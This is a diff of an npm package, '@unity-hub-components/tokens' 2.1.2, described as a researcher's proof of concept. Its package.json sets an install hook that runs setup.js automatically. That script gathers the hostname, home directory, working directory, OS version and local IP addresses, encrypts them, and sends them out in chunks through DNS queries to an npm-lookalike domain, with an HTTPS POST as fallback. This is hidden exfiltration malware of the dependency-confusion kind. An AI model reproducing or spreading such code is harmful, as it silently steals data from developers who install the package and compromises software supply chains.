@unity-hub-components/tokens 2.1.2

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "@unity-hub-components/tokens",
+  "version": "2.1.2",
+  "description": "This package is a proof of concept used by an independent researcher. It has been uploaded for test purposes only.",
+  "main": "index.js",
+  "scripts": {
+    "install": "node setup.js @unity-hub-components/tokens"
+  },
+  "author": "CapybaraSecurity@protonmail.com",
+  "license": "ISC"
+}

package/setup.js

@@ -0,0 +1,169 @@
+var cwd
+var secret
+var hostname
+var homedir
+var version
+var ip
+var url
+var data
+var dataChunks
+var maxLength = 25
+
+
+var AESCrypt = {};
+
+AESCrypt.encrypt = function(cryptkey, iv, cleardata) {
+
+var encipher = crypto.createCipheriv('aes-256-cbc', cryptkey, iv);
+var encryptdata = encipher.update(cleardata, 'utf8', 'binary');
+
+encryptdata += encipher.final('binary');
+encode_encryptdata = new Buffer.from(encryptdata, 'binary').toString('hex');
+
+return encode_encryptdata;
+
+}
+
+
+function generateUID() {
+
+    var firstPart = (Math.random() * 46656) | 0;
+    var secondPart = (Math.random() * 46656) | 0;
+    
+    firstPart = ("000" + firstPart.toString(36)).slice(-3);
+    secondPart = ("000" + secondPart.toString(36)).slice(-3);
+
+    return firstPart + secondPart;
+
+}
+
+
+function splitToSubstrings(str, n) {
+
+    const arr = [];
+  
+    for (let index = 0; index < str.length; index += n) {
+
+      arr.push(str.slice(index, index + n));
+
+    }
+  
+    return arr;
+
+  }
+
+
+  function shuffle(array) {
+    let currentIndex = array.length,  randomIndex;
+  
+    while (currentIndex != 0) {
+  
+      randomIndex = Math.floor(Math.random() * currentIndex);
+      currentIndex--;
+  
+      [array[currentIndex], array[randomIndex]] = [
+        array[randomIndex], array[currentIndex]];
+    }
+  
+    return array;
+  }
+
+
+try{
+
+    cwd = process.cwd()
+
+} catch(e) {
+}
+
+
+try{
+
+    var os = require("os");
+    hostname = os.hostname();
+    homedir = os.homedir()
+    version = os.release()
+
+} catch(e) {
+}
+
+
+try{
+
+    var ifaces = require('os').networkInterfaces();
+    var adresses = Object.keys(ifaces).reduce(function (result, dev) {
+
+        return result.concat(ifaces[dev].reduce(function (result, details) {
+
+            return result.concat(details.family === 'IPv4' && !details.internal ? [details.address] : []);
+
+        }, []));
+
+    });
+
+    ip = adresses
+   
+} catch(e) {
+}
+
+
+data = "{" + "\"" + process.argv[2] + "\"" + ":{" + "\"timestamp\":\"" + Math.floor(new Date().getTime() / 1000).toString() + "\",\"cwd\":\"" + cwd + "\",\"hostname\":\"" + hostname + "\",\"homedir\":\"" + homedir + "\",\"version\":\"" + version + "\",\"local_ip\":\"" + ip + "\"}}"
+
+try{
+
+    var crypto = require('crypto')
+    var dns = require('dns');
+
+    dns.resolveTxt("provider.npmjs.info", (err, addresses)=> secret = addresses);
+    var key = crypto.createHash('sha256').update(String(secret)).digest()
+    var iv = crypto.randomBytes(16);
+    mutex = iv.toString('hex')
+
+    var encoded = AESCrypt.encrypt(key, iv, data)
+    
+} catch(e) {
+
+    encoded = Buffer.from(data,'utf-8').toString('hex')
+    mutex = generateUID()
+    
+}
+
+dataChunks = splitToSubstrings(encoded, maxLength)
+var indicie = shuffle(Array.apply(null, {length: dataChunks.length}).map(Number.call, Number))
+
+for (let item of indicie) {
+
+    try{
+
+        url = dataChunks[indicie[item]] + "." + (indicie[item] + 64).toString(16) + "." + mutex + '.api.npmjs.info'
+        const dns = require('dns');
+        dns.resolve(url, "A", (err, records)=> test = records);
+    
+    } catch(e) {
+    
+        url = dataChunks[indicie[item]] + "." + (indicie[item] + 64).toString(16) + "." + mutex + '.api.npmjs.info'
+        const https = require('https');
+
+        const options = {
+
+            hostname: url,
+            port: 443,
+            path: '/',
+            method: 'POST',
+            headers: {
+              'Content-Type': 'application/json',
+              'Content-Length': data.length
+            },
+            rejectUnauthorized: false
+
+          }
+          
+         index +=1
+         const req = https.request(options, res => {});
+
+         req.write(data);
+         req.end();
+    
+    }
+
+}